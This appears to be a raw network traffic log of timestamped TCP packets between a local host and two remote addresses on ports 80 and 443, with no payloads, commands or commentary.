Nov 23, 2024 11:22:12.285181999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.285233021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.285280943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.286180973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.286201954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.286231995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.286264896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.287122965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.287177086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.287308931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.287367105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.288238049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.288288116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.288392067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.288444042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.289113998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.289174080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.289184093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.289227009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.290136099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.290147066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.290189028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.291099072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.291131020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.291150093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.291182041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.292131901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.292144060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.292179108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.292238951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.293083906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.293138981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.293281078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.293329954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.294061899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.294114113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.294223070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.294270992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.295125961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.295175076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.295212030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.295262098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.296099901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.296149015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.296199083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.296247959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.297116041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.297167063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.297189951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.297243118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.298091888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.298142910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.298219919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.298268080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.299098015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.299146891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.299192905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.299243927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.300077915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.300131083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.300195932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.300241947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.301076889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.301151037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.301209927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.301258087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.302078962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.302107096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.302126884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.302160025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.303113937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.303164005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.303198099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.303247929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.304110050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.304127932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.304162025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.304188967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.305104971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.305116892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.305160999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.305160999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.306088924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.306149960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.306197882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.307058096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.307111025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.307110071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.307163000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.308082104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.308130026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.308177948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.308226109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.309098005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.309146881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.309206009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.309254885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.310097933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.310149908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.310192108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.310240984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.311115980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.311182022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.311213970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.311263084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.312185049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.312232971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.312313080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.312364101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.313230038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.313280106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.313302040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.313352108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.314230919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.314276934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.314325094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.314371109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.315129995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.315171003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.315233946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.315279007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.316103935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.316117048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.316160917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.317075014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.317085981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.317121983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.317154884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.318084955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.318135023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.318182945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.318232059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.319053888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.319103956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.319166899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.319217920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.320070982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.320118904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.320193052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.320240021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.321048975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.321100950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.321120977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.321186066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.322081089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.322132111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.322175980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.322226048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.323091030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.323143005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.323249102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.323307037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.324114084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.324162960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.324244022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.324296951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.325021029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.325069904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.334642887 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.335170984 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.335196972 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.335679054 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.335685968 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.346523046 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.346788883 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.346807957 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.347120047 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.347125053 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.381839037 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.382138968 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.382186890 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.382208109 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.382431984 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.382487059 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.382566929 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.382575989 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.382880926 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.382899046 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.474167109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.474267960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.474358082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.474417925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.474591017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.474647999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.474756002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.475013018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.475474119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.475524902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.475577116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.475627899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.476381063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.476449966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.476566076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.476614952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.477557898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.477605104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.477727890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.477776051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.478398085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.478449106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.478507996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.478557110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.479432106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.479487896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.479572058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.479621887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.480401993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.480454922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.480519056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.480568886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.481398106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.481451988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.481677055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.481724977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.482429028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.482481956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.482635975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.482686996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.483473063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.483525038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.483570099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.483619928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.484397888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.484448910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.484570980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.484622002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.485402107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.485450983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.485574007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.485620022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.486655951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.486721992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.486841917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.486893892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.487382889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.487442017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.487574100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.487627983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.488502979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.488550901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.488632917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.488682985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.489372969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.489423990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.489507914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.489557028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.490401983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.490451097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.490494967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.490542889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.491530895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.491584063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.491584063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.491630077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.492434978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.492446899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.492491961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.493375063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.493422031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.493479013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.493535042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.494384050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.494440079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.494556904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.494604111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.495374918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.495414972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.495426893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.495477915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.496393919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.496444941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.496486902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.496543884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.497390985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.497478962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.497481108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.497535944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.498368979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.498433113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.498476982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.498558998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.499737024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.499785900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.499864101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.499918938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.500551939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.500562906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.500614882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.500653028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.501394033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.501449108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.501488924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.501533985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.502507925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.502520084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.502566099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.503390074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.503403902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.503432035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.503465891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.504683971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.504741907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.504901886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.504951954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.505863905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.505934000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.505959034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.506016970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.506536007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.506588936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.506628036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.506679058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.507358074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.507411957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.507456064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.507513046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.508493900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.508579969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.508759022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.508807898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.509440899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.509495020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.509547949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.509598017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.510386944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.510446072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.510515928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.510571003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.511399031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.511456013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.511502028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.511554956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.512365103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.512433052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.512454987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.512509108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.513442993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.513485909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.513499022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.513550043 CET	49765	80	192.168.2.4	31.41.244.11
